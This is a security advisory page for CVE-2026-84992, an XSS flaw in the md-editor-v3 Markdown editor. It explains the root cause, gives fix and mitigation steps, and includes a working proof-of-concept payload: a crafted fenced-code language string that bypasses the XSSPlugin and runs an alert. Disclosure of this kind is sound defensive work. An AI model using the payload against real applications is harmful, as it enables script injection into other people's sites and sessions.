CVE-2026-84992 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in md-editor-v3. A fix is available for md-editor-v3 — see the affected versions and patch details below.
md-editor-v3: XSS via fenced-code language rendering bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-84992.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
md-editor-v3npmDescription
Summary
MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.
Details
useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.
PoC
The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:
import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';
config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
{ editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');
Create and run the app, replacing src/main.js when indicated:
npm create vite@latest poc -- --template vue
cd poc
npm install
npm install [email protected]
# Replace src/main.js with the code above.
npm run dev
Opening the displayed URL automatically shows the application hostname in an alert.
Impact
An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.
Suggested fix
Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | md-editor-v3 | all versions | 6.5.4npm install md-editor-v3@6.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for md-editor-v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update md-editor-v3 to 6.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-84992 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-84992 in your dependencies?
Find it across npm, including transitive dependencies.